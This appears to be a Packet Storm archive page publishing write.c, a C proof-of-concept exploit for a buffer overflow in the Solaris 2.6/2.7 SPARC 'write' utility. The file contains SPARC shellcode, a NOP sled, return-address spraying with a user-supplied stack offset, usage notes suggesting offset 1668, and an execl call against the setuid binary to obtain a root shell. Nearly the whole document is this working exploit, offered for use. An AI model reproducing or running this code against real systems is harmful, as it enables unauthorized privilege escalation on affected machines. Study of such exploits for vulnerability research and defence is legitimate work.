what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

write.c

write.c
Posted Nov 21, 2001

Proof of concept code for the Solaris 2.6 and 2.7 (SPARC) "write" buffer overflow. Guile Cool

tags | exploit, overflow, proof of concept
systems | solaris
SHA-256 | f21badab966bdf7e602bc08f4a5c985093b94ac2fd1db132e7a1e225c048e477

write.c

Change Mirror Download
/* Vulnerability: $/usr/bin/write root overflow for solaris 2.6 and 2.7
Exploit for sparc by Guilecool $%# -()- The ImperialS -()- $%#
Thanks to Pablo Sor, Buenos Aires, Argentina who coded the sploit for x86 arch!!!
This is only a Proof of concept
USAGE:
$./exploit offset try to use 1668 as default offset!
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 91 // bufsize max = 87 --> 88 seg fault!
#define EXTRA 100
// #define STACK_OFFSET right Offset should be 1668!
#define SPARC_NOP 0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr,STACK_OFFSET;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
if (argc < 1) printf ("Insert the Offset and run the program back!!!");
STACK_OFFSET = atoi (argv[1]);

long_p = (u_long *) buf;

for (i = 0; i<(BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;

char_p = (u_char *) long_p;

for (i = 0; i<code_length; i++)
*char_p++ = sparc_shellcode[i];

long_p = (u_long *) char_p;

targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i<EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;
printf("Exploit for sparc by The ImperialS - Guilecool\n");
printf("Jumping to address 0x%lx\n", targ_addr);

execl("/usr/bin/write", "write", "root", buf, (char *) 0);
perror("execl failed");
}

/* http://www.self-evident.com */
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close